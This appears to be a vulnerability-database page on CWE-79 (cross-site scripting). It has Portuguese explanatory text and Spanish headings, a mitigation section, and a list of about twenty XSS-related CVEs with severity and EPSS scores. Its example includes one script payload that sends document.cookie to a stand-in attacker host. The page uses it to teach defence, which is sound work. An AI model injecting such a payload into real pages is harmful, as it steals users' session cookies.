Fallos del tipo CWE-79

30.540 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-2069MEDIUMA cross-site scripting vulnerability was reported in the FileZ client that could allow execution of code if a crafted url is visited by a loEPSS 0.2%CVE-2025-59757MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-64984MEDIUMKaspersky has fixed a security issue in Kaspersky Endpoint Security for Linux (any version with anti-virus databases prior to 18.11.2025), KEPSS 0.2%CVE-2025-59773MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2026-5077MEDIUMTotal <= 2.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title in Blog Section Image alt AttributeEPSS 0.2%CVE-2025-22491MEDIUMImproper Input Validation in Foreseer Reporting Software (FRS)EPSS 0.2%CVE-2026-2485MEDIUMIBM InfoSphere Information Server Cross-Site ScriptingEPSS 0.2%CVE-2025-40903MEDIUMHTML injection in Schedule Restore Archive in Guardian/CMC before 26.1.0EPSS 0.2%CVE-2025-54862MEDIUMSantesoft Sante PACS Server Cross-site ScriptingEPSS 0.2%CVE-2025-43761MEDIUMA reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.QEPSS 0.2%CVE-2026-5362MEDIUMPimcore Platform v12.3.3 - Stored XSS in Document Editable Embed renderingEPSS 0.2%CVE-2026-38947MEDIUMFluentCMS 1.2.3 is vulnerable to Cross Site Scripting (XSS) in TextHTML plugin.EPSS 0.2%CVE-2025-59768MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-64047MEDIUMOpenRapid RapidCMS 1.3.1 is vulnerable to Cross Site Scripting (XSS) in /user/user-move.php.EPSS 0.2%CVE-2025-59766MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-60933MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in the Future Goals function of HR Performance Solutions Performance Pro v3.19.17EPSS 0.2%CVE-2025-43765MEDIUMA Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0, 2024.Q3.1 through 2024EPSS 0.2%CVE-2026-93367HIGHVisitors Traffic Real Time Statistics Pro <= 11.22 - Unauthenticated Stored Cross-Site Scripting via ahcpro_track_visitor (page_title)EPSS 0.2%CVE-2025-59752MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-11860MEDIUMTwitter Feed <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%